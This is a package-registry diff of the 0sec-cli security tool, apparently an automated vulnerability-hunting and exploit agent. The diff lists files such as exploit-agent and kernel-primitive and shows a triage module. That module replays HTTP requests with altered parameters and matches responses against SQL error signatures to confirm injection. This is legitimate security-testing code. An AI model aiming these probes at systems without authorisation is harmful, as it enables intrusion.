0sec-cli 0.23.0 → 0.24.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/0.js +66 -67
- package/README.md +37 -11
- package/chunks/{adapt-loop-V3JFWOKC.js → adapt-loop-TEJPXWFG.js} +4 -4
- package/chunks/{artifact-scraper-NYKUF2M5.js → artifact-scraper-AJZ3LOQY.js} +2 -2
- package/chunks/{assumption-mining-ZX3YVWEH.js → assumption-mining-EATDC4BB.js} +18 -18
- package/chunks/{backend-connections-H52NIVH2.js → backend-connections-QE4NASAK.js} +3 -3
- package/chunks/chunk-3XLEDCFX.js +566 -0
- package/chunks/{chunk-I3OCJ2OA.js → chunk-3XLFB46W.js} +5 -3
- package/chunks/{chunk-TPUJZ74W.js → chunk-4TUR47H5.js} +2 -2
- package/chunks/{chunk-3ZNI7F42.js → chunk-4YRXIVPZ.js} +3 -3
- package/chunks/{chunk-A5QO7N3S.js → chunk-52AWIBCT.js} +1 -1
- package/chunks/{chunk-TO35Y326.js → chunk-554D4AYM.js} +5 -2
- package/chunks/{chunk-KHPOSLCF.js → chunk-5FHFG5P2.js} +174 -710
- package/chunks/{chunk-LT7BFGXA.js → chunk-5POT5OYF.js} +10 -10
- package/chunks/chunk-62PGWN7Y.js +700 -0
- package/chunks/{chunk-EH2WTNY7.js → chunk-A3EKBUEM.js} +1424 -859
- package/chunks/{chunk-YYS2H33A.js → chunk-A6AZZ6XX.js} +2 -2
- package/chunks/{chunk-A2ADXAC5.js → chunk-AV5BF4V7.js} +1288 -2313
- package/chunks/{chunk-NI6QYQSK.js → chunk-BIJPMYFA.js} +6 -6
- package/chunks/{chunk-JEYIWMGL.js → chunk-CIMN2AO6.js} +1 -1
- package/chunks/{chunk-P7KDN5PK.js → chunk-CSPF47S3.js} +14 -14
- package/chunks/{chunk-F344NYUN.js → chunk-DNV3ZMPX.js} +1 -1
- package/chunks/{chunk-YAEJAZYW.js → chunk-E42XEJTK.js} +2 -2
- package/chunks/{chunk-VDOWARMJ.js → chunk-ESM447R6.js} +15 -1
- package/chunks/{chunk-UZUELPFW.js → chunk-EXTN4SQV.js} +1 -1
- package/chunks/{chunk-BF5FIK7H.js → chunk-EYBMTELO.js} +108 -24
- package/chunks/chunk-FEOPHBMY.js +56 -0
- package/chunks/{chunk-XORZUR2H.js → chunk-FKGFHLLS.js} +1 -1
- package/chunks/chunk-G2EJ3R5I.js +5198 -0
- package/chunks/chunk-GHEBZKUS.js +5417 -0
- package/chunks/chunk-GNR3APR6.js +295 -0
- package/chunks/{chunk-EJH2TNVH.js → chunk-H76JYUPE.js} +3 -3
- package/chunks/{chunk-WIYNYNL2.js → chunk-HRBOZBMC.js} +1 -1
- package/chunks/{chunk-62ENS6XO.js → chunk-IIBNQTOK.js} +3 -2
- package/chunks/{chunk-UELXHK2Y.js → chunk-IK27KMVV.js} +16 -5
- package/chunks/{chunk-O6Z4XPOM.js → chunk-J6G73WYF.js} +1 -1
- package/chunks/chunk-JSTLXPJS.js +284 -0
- package/chunks/{chunk-K55B4OH4.js → chunk-O3ADFN2A.js} +1 -1
- package/chunks/chunk-O7Q2G2KW.js +117 -0
- package/chunks/{chunk-HFDSIHTE.js → chunk-QEA2VHBD.js} +202 -30
- package/chunks/{chunk-ITES7BCY.js → chunk-RBOMXUYL.js} +3 -111
- package/chunks/{chunk-T7ZEVY5G.js → chunk-RCHAFSWS.js} +815 -41
- package/chunks/{chunk-W5VNCB57.js → chunk-RD4FKFWR.js} +1 -1
- package/chunks/{chunk-LVGZGG63.js → chunk-RPTO5FY2.js} +1 -1
- package/chunks/{chunk-LTEE2JWK.js → chunk-RZR2XXAK.js} +251 -8
- package/chunks/chunk-SGILXLR3.js +289 -0
- package/chunks/{chunk-QMICC5O2.js → chunk-TOAAYJVN.js} +2 -2
- package/chunks/{chunk-PIR6BNE7.js → chunk-TOFIGQ63.js} +2 -2
- package/chunks/{chunk-V2BWXPZP.js → chunk-TTDFBFNZ.js} +6 -6
- package/chunks/{chunk-WYNZFNMF.js → chunk-TZRHWP7R.js} +289 -10
- package/chunks/chunk-UHUW45S3.js +164 -0
- package/chunks/{chunk-NX4H6L4M.js → chunk-V4BD7GSP.js} +2 -2
- package/chunks/{chunk-4HGGNBKK.js → chunk-V5I5GAQH.js} +2593 -1563
- package/chunks/{chunk-MQJVU2GZ.js → chunk-W6IYTSZH.js} +79 -9
- package/chunks/{chunk-OLSKXTQZ.js → chunk-WUPN3D37.js} +22 -248
- package/chunks/{chunk-AAA4PRWK.js → chunk-Y7KV7WV6.js} +2 -2
- package/chunks/{chunk-Y4HJRUFE.js → chunk-YERUDEXT.js} +876 -817
- package/chunks/{chunk-65H3MRBF.js → chunk-YJU7QACE.js} +1 -1
- package/chunks/{chunk-3E54JYS4.js → chunk-YORL5S5V.js} +1 -1
- package/chunks/{chunk-CP6HANBE.js → chunk-YYOQADBB.js} +4 -3
- package/chunks/{remote-workflow-runtime-RGQ5ECMN.js → chunk-ZPFBQ3SD.js} +39 -8
- package/chunks/{codex-models-Y457ND6Q.js → codex-models-FQPCWRPC.js} +7 -7
- package/chunks/{commands-PBDAOZKA.js → commands-I5L3VD2A.js} +1603 -6945
- package/chunks/dashboard-B2AEGCFM.js +76 -0
- package/chunks/{db-TPSI552V.js → db-P5EIKMLP.js} +3 -3
- package/chunks/{deep-review-DKED6EN5.js → deep-review-I7RD5QSS.js} +34 -33
- package/chunks/{disclose-LDNKAVRH.js → disclose-PFBWESVJ.js} +4 -2
- package/chunks/{dist-7Q5A6TQM.js → dist-3SWWY5FZ.js} +18 -2
- package/chunks/{dist-4LGRIBOC.js → dist-AJU25UXA.js} +99 -64
- package/chunks/{dist-RLPNLRZD.js → dist-VK2M4HNW.js} +33 -1
- package/chunks/eval-runner-XVRX3R2Y.js +31 -0
- package/chunks/{exploit-agent-RMFYNG7H.js → exploit-agent-A4RTIJ4J.js} +1 -1
- package/chunks/{exploit-autoclimb-2A2PQI4E.js → exploit-autoclimb-ABMMBC3M.js} +1 -1
- package/chunks/{exploit-climb-DEJ232QN.js → exploit-climb-BQ2SVU63.js} +2 -2
- package/chunks/{fix-JGBW7XUN.js → fix-4YCLHFDT.js} +7 -7
- package/chunks/{harness-CBOLMUHB.js → harness-DHWULEIZ.js} +3 -3
- package/chunks/{hunt-scan-MIRMABY4.js → hunt-scan-DXV5H6YN.js} +16 -16
- package/chunks/{kernel-primitive-NAPDMJC7.js → kernel-primitive-SF4NALVR.js} +2 -2
- package/chunks/{kernel-vm-runner-PR5OSDQ2.js → kernel-vm-runner-WEBEZEIC.js} +2 -2
- package/chunks/local-engine-XUG7XRKM.js +21 -0
- package/chunks/managed-operation-SQFMBWHG.js +60 -0
- package/chunks/{memsafety-scan-RPS446CD.js → memsafety-scan-L2Z7E7TE.js} +2 -2
- package/chunks/{native-loop-CGOJMNHV.js → native-loop-ZNAELJGB.js} +14 -13
- package/chunks/orchestrate-YHFJXGID.js +63 -0
- package/chunks/{prepare-YVNENPNL.js → prepare-SODWQN6O.js} +5 -5
- package/chunks/provider-model-discovery-QGUGL3XW.js +277 -0
- package/chunks/remote-workflow-runtime-XNNGI2PG.js +12 -0
- package/chunks/{run-VH4OIDKF.js → run-5T4Z3Q2D.js} +902 -322
- package/chunks/{runtime-4TAJFVF7.js → runtime-HFFRUOPL.js} +2 -2
- package/chunks/{runtime-HWL6HG7A.js → runtime-MB4GEFBY.js} +7 -7
- package/chunks/{scan-stream-HJAZJONE.js → scan-stream-GXBJHCDF.js} +3 -2
- package/chunks/{scope-Q5PIX2IS.js → scope-M7L3CD6X.js} +2 -2
- package/chunks/service-plugins-BGS6QKSZ.js +64 -0
- package/chunks/{session-store-2FEIZGSV.js → session-store-K7I4GLNH.js} +2 -2
- package/chunks/{variant-candidates-TX5V6XOT.js → variant-candidates-2KSP5EHH.js} +7 -7
- package/chunks/{web-recon-prepass-6HOUGF7Q.js → web-recon-prepass-RAXXTEWH.js} +5 -5
- package/chunks/workflow-runtime-V26HIJO3.js +178 -0
- package/dashboard/assets/{abnfDiagram-VCTEODGH-BuvumFYR.js → abnfDiagram-VCTEODGH-CGCueOp5.js} +1 -1
- package/dashboard/assets/{arc-DZzWDuCG.js → arc-BjZaQcCc.js} +1 -1
- package/dashboard/assets/architecture-7GRP2DOG-hcbO-9zX.js +1 -0
- package/dashboard/assets/{architectureDiagram-5GKGNRK7-Bw5el_EL.js → architectureDiagram-5GKGNRK7-DReOXTSq.js} +1 -1
- package/dashboard/assets/{blockDiagram-I7D4REHJ-BjVLEApp.js → blockDiagram-I7D4REHJ-C-byT12_.js} +1 -1
- package/dashboard/assets/{c4Diagram-7LVT6UL2-B9nNzx2J.js → c4Diagram-7LVT6UL2-DoYjz-Uv.js} +1 -1
- package/dashboard/assets/channel-CUURBnpZ.js +1 -0
- package/dashboard/assets/{chunk-4HAMMTFA-y72Q95nW.js → chunk-4HAMMTFA-NBNp2zdt.js} +1 -1
- package/dashboard/assets/{chunk-75Z2AOVW-BOhrOGMO.js → chunk-75Z2AOVW-BHmkuP0B.js} +1 -1
- package/dashboard/assets/{chunk-DU6HZSFF-B0EhAaNb.js → chunk-DU6HZSFF-DgfLNaL2.js} +2 -2
- package/dashboard/assets/{chunk-F27PBJKO-BR-hiDvM.js → chunk-F27PBJKO-3wwNFUgZ.js} +1 -1
- package/dashboard/assets/{chunk-GMAD6QVW-H15vJYXg.js → chunk-GMAD6QVW-Btg7huZW.js} +1 -1
- package/dashboard/assets/{chunk-GVQU2GXP-BRndps0o.js → chunk-GVQU2GXP-ihCURK5O.js} +1 -1
- package/dashboard/assets/{chunk-IMKFNOWR-CIzC_OWx.js → chunk-IMKFNOWR-FsXj7slg.js} +1 -1
- package/dashboard/assets/{chunk-L3NEJ4N5-NR4P1Vko.js → chunk-L3NEJ4N5-DorFIxJY.js} +1 -1
- package/dashboard/assets/{chunk-OSK3NFVY-DtjTDf8S.js → chunk-OSK3NFVY-DKun_KfC.js} +1 -1
- package/dashboard/assets/{chunk-P2QGCYS3-CYT11Qjx.js → chunk-P2QGCYS3-XGgiU1Bz.js} +1 -1
- package/dashboard/assets/{chunk-POPQ4Y6H-Duj2Ygwu.js → chunk-POPQ4Y6H-BTXEnGhJ.js} +1 -1
- package/dashboard/assets/{chunk-PWAF6VOD-z4p5Tf_y.js → chunk-PWAF6VOD-DYZcGkTL.js} +1 -1
- package/dashboard/assets/{chunk-SHT3W25Y-DYeLYLS3.js → chunk-SHT3W25Y-C4WQfwf8.js} +1 -1
- package/dashboard/assets/{chunk-SVP7TREG-BKowxCVI.js → chunk-SVP7TREG-C4nCh0-1.js} +1 -1
- package/dashboard/assets/{chunk-TICWLB2K-GDAwEFlH.js → chunk-TICWLB2K-DSB-IiGc.js} +1 -1
- package/dashboard/assets/{chunk-XXDRQBXY-DRD79Mjx.js → chunk-XXDRQBXY-CS6fjUcj.js} +1 -1
- package/dashboard/assets/classDiagram-ZZMXUADV-CD1Buc26.js +1 -0
- package/dashboard/assets/classDiagram-v2-VYDZK3BY-CD1Buc26.js +1 -0
- package/dashboard/assets/{common-vnzd7UOF.js → common-BMdQBwfR.js} +1 -1
- package/dashboard/assets/{cose-bilkent-JH36ORCC-GqCLsRyf.js → cose-bilkent-JH36ORCC-CUjQHTML.js} +1 -1
- package/dashboard/assets/{cynefin-OW5HDTMX-CJN9YwWN.js → cynefin-OW5HDTMX-BC7zCtFq.js} +1 -1
- package/dashboard/assets/{cynefinDiagram-5FMLGOSQ-DVJHCYQY.js → cynefinDiagram-5FMLGOSQ-CgDOOY67.js} +1 -1
- package/dashboard/assets/{dagre-GXQ25YYZ-BMCrrJJR.js → dagre-GXQ25YYZ-Dqc8FS9x.js} +1 -1
- package/dashboard/assets/{diagram-S7CK7UJ4-CLYDdOEm.js → diagram-S7CK7UJ4-CrKqRXZb.js} +1 -1
- package/dashboard/assets/{diagram-UQ7AKVKN-CnPuAZK7.js → diagram-UQ7AKVKN-Cu6Es0-v.js} +1 -1
- package/dashboard/assets/{diagram-VSXAHHWV-Cr2I2DnG.js → diagram-VSXAHHWV-eK4d8FwS.js} +1 -1
- package/dashboard/assets/{diagram-VX7I27RA-_mGW1wpp.js → diagram-VX7I27RA-bFxeFKOc.js} +1 -1
- package/dashboard/assets/{diagram-Z3DM3KII-igybB0l9.js → diagram-Z3DM3KII-C0ClmnhC.js} +1 -1
- package/dashboard/assets/{dist-Bb7_-x5y.js → dist-BZh8Kb3O.js} +1 -1
- package/dashboard/assets/{ebnfDiagram-PWID7BFC-CVCICf2R.js → ebnfDiagram-PWID7BFC-CUqxFPzf.js} +1 -1
- package/dashboard/assets/{erDiagram-RLTQ6QDP-CRjnfgxj.js → erDiagram-RLTQ6QDP-CcYM7pLi.js} +1 -1
- package/dashboard/assets/eventmodeling-NTZA5JFV-D8ZNnPkV.js +1 -0
- package/dashboard/assets/flowDiagram-HODETNUW-pDb1AYm8.js +1 -0
- package/dashboard/assets/{ganttDiagram-EL5Y4UJY-DppD7sD7.js → ganttDiagram-EL5Y4UJY-UmZfbMyD.js} +1 -1
- package/dashboard/assets/{gitGraph-4MIJSDKK-Tw0vNnQc.js → gitGraph-4MIJSDKK-mvNUo0ZA.js} +1 -1
- package/dashboard/assets/{gitGraphDiagram-WWUBYQGX-Cpf96-z3.js → gitGraphDiagram-WWUBYQGX-CvzeCxVy.js} +1 -1
- package/dashboard/assets/{info-A6RAGUB7-DLyt9arx.js → info-A6RAGUB7-DChKqZMi.js} +1 -1
- package/dashboard/assets/{infoDiagram-27XIBGKW-B6_piSNS.js → infoDiagram-27XIBGKW-DjkpNtVW.js} +1 -1
- package/dashboard/assets/{ishikawaDiagram-5VMMS53U-DvMO0B0X.js → ishikawaDiagram-5VMMS53U-8FhjJaWT.js} +1 -1
- package/dashboard/assets/{journeyDiagram-3NMN7TZE-f7ZK98b6.js → journeyDiagram-3NMN7TZE-DyNJ755f.js} +1 -1
- package/dashboard/assets/{kanban-definition-UXKFOSKX-Dso0nAxL.js → kanban-definition-UXKFOSKX-_jCmtaY1.js} +1 -1
- package/dashboard/assets/katex-BdBmVSus.js +257 -0
- package/dashboard/assets/{line-VcKaFG0G.js → line-Bf0nxyWf.js} +1 -1
- package/dashboard/assets/{linear-D7YnpiWh.js → linear-Bl6JKbf4.js} +1 -1
- package/dashboard/assets/{mermaid-parser.core-DriL2hrV.js → mermaid-parser.core-Cc6sgCzs.js} +3 -3
- package/dashboard/assets/{mermaid.core-DJWYDh_P.js → mermaid.core-B4yCwiN-.js} +4 -4
- package/dashboard/assets/{mindmap-definition-YA3MSWOX-DZsoIeac.js → mindmap-definition-YA3MSWOX-D5DjWyXj.js} +1 -1
- package/dashboard/assets/operations-B7JAWOi6.js +130 -0
- package/dashboard/assets/operations-QjKT0Hwi.css +1 -0
- package/dashboard/assets/{packet-AYTQ26CC-BQBIXKxk.js → packet-AYTQ26CC-bQXLDhQC.js} +1 -1
- package/dashboard/assets/{pegDiagram-XKGWAZYB-B0-lslgW.js → pegDiagram-XKGWAZYB-Bf6a1vaf.js} +1 -1
- package/dashboard/assets/{pie-WAS4IAKB-DoY6dwQs.js → pie-WAS4IAKB-DfzoABIi.js} +1 -1
- package/dashboard/assets/{pieDiagram-E7YTZNPT-ElmdRjp5.js → pieDiagram-E7YTZNPT-D0L1qbch.js} +1 -1
- package/dashboard/assets/{quadrantDiagram-AXDQQJYC-Ci1h98Q2.js → quadrantDiagram-AXDQQJYC-CbFyy2Pe.js} +1 -1
- package/dashboard/assets/{radar-RG4KPBEZ-DHod2WgB.js → radar-RG4KPBEZ-CZ2pyeUT.js} +1 -1
- package/dashboard/assets/{railroad-74A4TZTK-90JxB4xV.js → railroad-74A4TZTK-CP4Jazfd.js} +1 -1
- package/dashboard/assets/railroad-abnf-HS5TGJTU-3MvEiHwD.js +1 -0
- package/dashboard/assets/railroad-ebnf-LZEXJU2U-BWto6cXE.js +1 -0
- package/dashboard/assets/railroad-peg-WCYAUIDC-DasEjbyf.js +1 -0
- package/dashboard/assets/{railroadDiagram-O6MQD6OU-k3190A6L.js → railroadDiagram-O6MQD6OU-t7Gp9g2R.js} +1 -1
- package/dashboard/assets/{requirementDiagram-BXWQKSXE-C3-eR7I5.js → requirementDiagram-BXWQKSXE-LYmqeBXi.js} +1 -1
- package/dashboard/assets/{sankeyDiagram-P5KCCOFB-Bc86pi8w.js → sankeyDiagram-P5KCCOFB-DnpfA_94.js} +1 -1
- package/dashboard/assets/{sequenceDiagram-WJ2MYXX4-Bv_MvEmz.js → sequenceDiagram-WJ2MYXX4-C8s3pTUE.js} +1 -1
- package/dashboard/assets/{src-D7Dqq5yP.js → src-CaNUT1AQ.js} +1 -1
- package/dashboard/assets/{stateDiagram-D77RDMKH-Bq_GVmeW.js → stateDiagram-D77RDMKH-BMzm6fK1.js} +1 -1
- package/dashboard/assets/stateDiagram-v2-MP3YSRHH-B3REMjpY.js +1 -0
- package/dashboard/assets/{swimlanes-42K2YHIH-q0iK-e0P.js → swimlanes-42K2YHIH-uJE05Tt_.js} +1 -1
- package/dashboard/assets/swimlanesDiagram-VR7AAH4N-CIaVMZEy.js +8 -0
- package/dashboard/assets/{timeline-definition-24CTP7MA-CNfF07hM.js → timeline-definition-24CTP7MA-BfLJMVeG.js} +1 -1
- package/dashboard/assets/{treeView-Q6P3EWNA-m629ePnS.js → treeView-Q6P3EWNA-ZOE2enu2.js} +1 -1
- package/dashboard/assets/{treemap-WGGIJYW6-D9Cb2ETv.js → treemap-WGGIJYW6-yIZoPBF5.js} +1 -1
- package/dashboard/assets/{vennDiagram-4TSXK5OY-v4dKF-FE.js → vennDiagram-4TSXK5OY-BYJRHEaL.js} +1 -1
- package/dashboard/assets/{wardley-WFR3VGLG-DkwH_nRe.js → wardley-WFR3VGLG-D5V-jLbB.js} +1 -1
- package/dashboard/assets/{wardleyDiagram-VM6X3IG4-3ImohVu4.js → wardleyDiagram-VM6X3IG4-DgPN4nSe.js} +1 -1
- package/dashboard/assets/{xychartDiagram-S5SC5T6Z-QJu3dm7K.js → xychartDiagram-S5SC5T6Z-BhkAMAOT.js} +1 -1
- package/dashboard/index.html +3 -3
- package/package.json +3 -2
- package/worker-assets/demo-target/README.md +15 -0
- package/worker-assets/demo-target/include/decoder.h +27 -0
- package/worker-assets/demo-target/patched-decoder.c +40 -0
- package/worker-assets/demo-target/src/decoder.c +50 -0
- package/worker-assets/demo-target/witness-65537x1.bin +0 -0
- package/chunks/chunk-3P3XXSIJ.js +0 -463
- package/chunks/chunk-EWXOG6D3.js +0 -1695
- package/chunks/chunk-FXR3BT2G.js +0 -226
- package/chunks/chunk-R35KKJA4.js +0 -90
- package/chunks/eval-runner-RZKDOQ2G.js +0 -30
- package/chunks/managed-operation-YNQQEA5V.js +0 -59
- package/chunks/orchestrate-5NK34H3W.js +0 -62
- package/chunks/service-plugins-QYFITODK.js +0 -63
- package/chunks/workflow-runtime-ZEEBJFQG.js +0 -64
- package/dashboard/assets/architecture-7GRP2DOG-DK9bv1Md.js +0 -1
- package/dashboard/assets/channel-Ck17eKdX.js +0 -1
- package/dashboard/assets/classDiagram-ZZMXUADV-BaeZA6LE.js +0 -1
- package/dashboard/assets/classDiagram-v2-VYDZK3BY-BaeZA6LE.js +0 -1
- package/dashboard/assets/eventmodeling-NTZA5JFV-po5oDydv.js +0 -1
- package/dashboard/assets/flowDiagram-HODETNUW-TSV9s7q4.js +0 -1
- package/dashboard/assets/katex-CXMH3UgJ.js +0 -257
- package/dashboard/assets/operations-BIaUSnYv.js +0 -121
- package/dashboard/assets/operations-BeCdkT4S.css +0 -1
- package/dashboard/assets/railroad-abnf-HS5TGJTU-BkXGl114.js +0 -1
- package/dashboard/assets/railroad-ebnf-LZEXJU2U-QVAERn2C.js +0 -1
- package/dashboard/assets/railroad-peg-WCYAUIDC-B1-PM01z.js +0 -1
- package/dashboard/assets/stateDiagram-v2-MP3YSRHH-z1XRaftz.js +0 -1
- package/dashboard/assets/swimlanesDiagram-VR7AAH4N-C9L6XBQj.js +0 -8
- package/dashboard/assets/zero-connect-BGDY0PMZ.webp +0 -0
- package/dashboard/assets/zero-curious-DovTLOs8.webp +0 -0
- package/dashboard/assets/zero-peek-Dzm3MT3X.png +0 -0
- package/dashboard/assets/zero-planning-CBeHDrG_.webp +0 -0
|
@@ -2,261 +2,779 @@
|
|
|
2
2
|
import { createRequire as __0CreateRequire } from "node:module";
|
|
3
3
|
const require = __0CreateRequire(import.meta.url);
|
|
4
4
|
|
|
5
|
-
// packages/core/dist/
|
|
6
|
-
|
|
7
|
-
|
|
8
|
-
|
|
9
|
-
|
|
10
|
-
|
|
11
|
-
|
|
12
|
-
|
|
13
|
-
|
|
14
|
-
|
|
15
|
-
};
|
|
16
|
-
|
|
17
|
-
|
|
18
|
-
|
|
5
|
+
// packages/core/dist/triage/oracle-runtime.js
|
|
6
|
+
import { randomUUID } from "node:crypto";
|
|
7
|
+
import { createServer } from "node:http";
|
|
8
|
+
|
|
9
|
+
// packages/core/dist/triage/oracles.js
|
|
10
|
+
var DEFAULT_TIMEOUT_MS = 1e4;
|
|
11
|
+
function notVerifiable(reason) {
|
|
12
|
+
return { verified: false, inconclusive: true, confidence: 0, evidence: "", reason };
|
|
13
|
+
}
|
|
14
|
+
function verified(evidence, confidence = 1) {
|
|
15
|
+
return { verified: true, confidence, evidence, reason: "" };
|
|
16
|
+
}
|
|
17
|
+
function parseRequest(requestText, fallbackTarget) {
|
|
18
|
+
const parsed = {
|
|
19
|
+
method: "GET",
|
|
20
|
+
url: fallbackTarget,
|
|
21
|
+
headers: {},
|
|
22
|
+
body: "",
|
|
23
|
+
params: {}
|
|
24
|
+
};
|
|
25
|
+
const parseFallbackQuery = () => {
|
|
26
|
+
try {
|
|
27
|
+
const u = new URL(parsed.url);
|
|
28
|
+
u.searchParams.forEach((v, k) => {
|
|
29
|
+
parsed.params[k] = v;
|
|
30
|
+
});
|
|
31
|
+
} catch {
|
|
32
|
+
}
|
|
33
|
+
};
|
|
34
|
+
if (!requestText) {
|
|
35
|
+
parseFallbackQuery();
|
|
36
|
+
return parsed;
|
|
19
37
|
}
|
|
20
|
-
|
|
21
|
-
|
|
38
|
+
requestText = requestText.replace(/\r\n/g, "\n");
|
|
39
|
+
const curlUrl = requestText.match(/\bcurl\b[^\n]*?\s(https?:\/\/\S+)/i);
|
|
40
|
+
if (curlUrl)
|
|
41
|
+
parsed.url = curlUrl[1].replace(/['"]$/, "");
|
|
42
|
+
const curlMethod = requestText.match(/-X\s+(GET|POST|PUT|PATCH|DELETE)/i);
|
|
43
|
+
if (curlMethod)
|
|
44
|
+
parsed.method = curlMethod[1].toUpperCase();
|
|
45
|
+
const curlData = requestText.match(/--data(?:-raw)?\s+['"]([^'"]+)['"]/);
|
|
46
|
+
if (curlData)
|
|
47
|
+
parsed.body = curlData[1];
|
|
48
|
+
const startLine = requestText.match(/^(GET|POST|PUT|PATCH|DELETE)\s+(\S+)\s+HTTP\/[\d.]+/m);
|
|
49
|
+
if (startLine) {
|
|
50
|
+
parsed.method = startLine[1].toUpperCase();
|
|
51
|
+
const path = startLine[2];
|
|
52
|
+
const hostHeader = requestText.match(/^Host:\s*(\S+)/im);
|
|
53
|
+
if (/^https?:\/\//i.test(path)) {
|
|
54
|
+
parsed.url = path;
|
|
55
|
+
} else if (hostHeader) {
|
|
56
|
+
const scheme = fallbackTarget.startsWith("https") ? "https" : "http";
|
|
57
|
+
parsed.url = `${scheme}://${hostHeader[1]}${path}`;
|
|
58
|
+
} else if (path.startsWith("/")) {
|
|
59
|
+
try {
|
|
60
|
+
const base = new URL(fallbackTarget);
|
|
61
|
+
parsed.url = `${base.origin}${path}`;
|
|
62
|
+
} catch {
|
|
63
|
+
parsed.url = path;
|
|
64
|
+
}
|
|
65
|
+
} else {
|
|
66
|
+
parsed.url = path;
|
|
67
|
+
}
|
|
68
|
+
const headerBlock = requestText.split("\n\n", 1)[0] ?? "";
|
|
69
|
+
for (const line of headerBlock.split("\n").slice(1)) {
|
|
70
|
+
const colon = line.indexOf(":");
|
|
71
|
+
if (colon > 0) {
|
|
72
|
+
const name = line.slice(0, colon).trim().toLowerCase();
|
|
73
|
+
if (!["host", "content-length", "connection", "transfer-encoding"].includes(name)) {
|
|
74
|
+
parsed.headers[name] = line.slice(colon + 1).trim();
|
|
75
|
+
}
|
|
76
|
+
}
|
|
77
|
+
}
|
|
78
|
+
const sep = requestText.indexOf("\n\n");
|
|
79
|
+
if (sep >= 0)
|
|
80
|
+
parsed.body = requestText.slice(sep + 2);
|
|
22
81
|
}
|
|
23
|
-
|
|
82
|
+
try {
|
|
83
|
+
const u = new URL(parsed.url);
|
|
84
|
+
u.searchParams.forEach((v, k) => {
|
|
85
|
+
parsed.params[k] = v;
|
|
86
|
+
});
|
|
87
|
+
} catch {
|
|
88
|
+
}
|
|
89
|
+
if (parsed.body.trimStart().startsWith("{")) {
|
|
90
|
+
try {
|
|
91
|
+
const json = JSON.parse(parsed.body);
|
|
92
|
+
for (const [key, value] of Object.entries(json)) {
|
|
93
|
+
if (typeof value === "string" || typeof value === "number")
|
|
94
|
+
parsed.params[key] = String(value);
|
|
95
|
+
}
|
|
96
|
+
} catch {
|
|
97
|
+
}
|
|
98
|
+
} else if (parsed.body.includes("=")) {
|
|
99
|
+
new URLSearchParams(parsed.body).forEach((value, key) => {
|
|
100
|
+
parsed.params[key] = value;
|
|
101
|
+
});
|
|
102
|
+
}
|
|
103
|
+
return parsed;
|
|
24
104
|
}
|
|
25
|
-
function
|
|
26
|
-
const
|
|
27
|
-
|
|
28
|
-
|
|
105
|
+
function buildProbeRequest(parsed, newParams) {
|
|
106
|
+
const method = parsed.method || "GET";
|
|
107
|
+
const init = { method, headers: { ...parsed.headers } };
|
|
108
|
+
const url = new URL(parsed.url);
|
|
109
|
+
let json;
|
|
110
|
+
if (parsed.body.trimStart().startsWith("{")) {
|
|
111
|
+
try {
|
|
112
|
+
json = JSON.parse(parsed.body);
|
|
113
|
+
} catch {
|
|
114
|
+
}
|
|
29
115
|
}
|
|
30
|
-
|
|
31
|
-
|
|
116
|
+
const form = !json && parsed.body.includes("=") ? new URLSearchParams(parsed.body) : void 0;
|
|
117
|
+
for (const [key, value] of Object.entries(newParams)) {
|
|
118
|
+
if (method !== "GET" && json && Object.hasOwn(json, key))
|
|
119
|
+
json[key] = value;
|
|
120
|
+
else if (method !== "GET" && form?.has(key))
|
|
121
|
+
form.set(key, value);
|
|
122
|
+
else
|
|
123
|
+
url.searchParams.set(key, value);
|
|
32
124
|
}
|
|
33
|
-
if (
|
|
34
|
-
|
|
125
|
+
if (method !== "GET") {
|
|
126
|
+
init.body = json ? JSON.stringify(json) : form ? form.toString() : parsed.body || void 0;
|
|
127
|
+
if (json)
|
|
128
|
+
init.headers = { "content-type": "application/json", ...parsed.headers };
|
|
129
|
+
else if (form)
|
|
130
|
+
init.headers = { "content-type": "application/x-www-form-urlencoded", ...parsed.headers };
|
|
35
131
|
}
|
|
36
|
-
|
|
37
|
-
|
|
132
|
+
return { url: url.toString(), init };
|
|
133
|
+
}
|
|
134
|
+
async function fetchWithTimeout(url, init, timeoutMs = DEFAULT_TIMEOUT_MS, context = {}) {
|
|
135
|
+
const controller = new AbortController();
|
|
136
|
+
const timer = setTimeout(() => controller.abort(), timeoutMs);
|
|
137
|
+
const start = Date.now();
|
|
138
|
+
try {
|
|
139
|
+
const res = await (context.fetch ?? fetch)(url, { ...init, redirect: "manual", signal: controller.signal });
|
|
140
|
+
const body = await res.text();
|
|
141
|
+
return { status: res.status, body, latencyMs: Date.now() - start };
|
|
142
|
+
} catch {
|
|
143
|
+
return null;
|
|
144
|
+
} finally {
|
|
145
|
+
clearTimeout(timer);
|
|
38
146
|
}
|
|
39
|
-
return { kind: "undefined-behavior", category: "other" };
|
|
40
147
|
}
|
|
41
|
-
|
|
42
|
-
|
|
43
|
-
|
|
44
|
-
|
|
45
|
-
|
|
46
|
-
|
|
47
|
-
|
|
48
|
-
|
|
148
|
+
var SQL_ERROR_PATTERNS = [
|
|
149
|
+
// MySQL
|
|
150
|
+
/You have an error in your SQL syntax/i,
|
|
151
|
+
/\bmysql_fetch_/i,
|
|
152
|
+
/\bMySQLSyntaxErrorException\b/i,
|
|
153
|
+
/\bMariaDB\b.*?\bsyntax\b/i,
|
|
154
|
+
// PostgreSQL
|
|
155
|
+
/\bPG::SyntaxError\b/i,
|
|
156
|
+
/\bpq:\s+syntax error\b/i,
|
|
157
|
+
/\bpsql:.*?ERROR:/i,
|
|
158
|
+
/unterminated quoted string/i,
|
|
159
|
+
// SQLite
|
|
160
|
+
/\bSQLite3::/i,
|
|
161
|
+
/\bsqlite3\.OperationalError\b/i,
|
|
162
|
+
/near\s+".+?":\s*syntax error/i,
|
|
163
|
+
// MSSQL
|
|
164
|
+
/\bMicrosoft\s+SQL\s+Server\b.*?\b(error|exception)\b/i,
|
|
165
|
+
/\bUnclosed quotation mark\b/i,
|
|
166
|
+
/\bOLE DB.*?SQL Server\b/i,
|
|
167
|
+
// Oracle
|
|
168
|
+
/\bORA-\d{4,5}\b/i,
|
|
169
|
+
/\bquoted string not properly terminated\b/i
|
|
170
|
+
];
|
|
171
|
+
function detectSqlError(body) {
|
|
172
|
+
for (const re of SQL_ERROR_PATTERNS) {
|
|
173
|
+
const m = body.match(re);
|
|
174
|
+
if (m)
|
|
175
|
+
return m[0];
|
|
176
|
+
}
|
|
177
|
+
return null;
|
|
49
178
|
}
|
|
50
|
-
function
|
|
51
|
-
const
|
|
52
|
-
|
|
53
|
-
|
|
54
|
-
while ((match = frameRegex.exec(text)) !== null) {
|
|
55
|
-
frames.push({
|
|
56
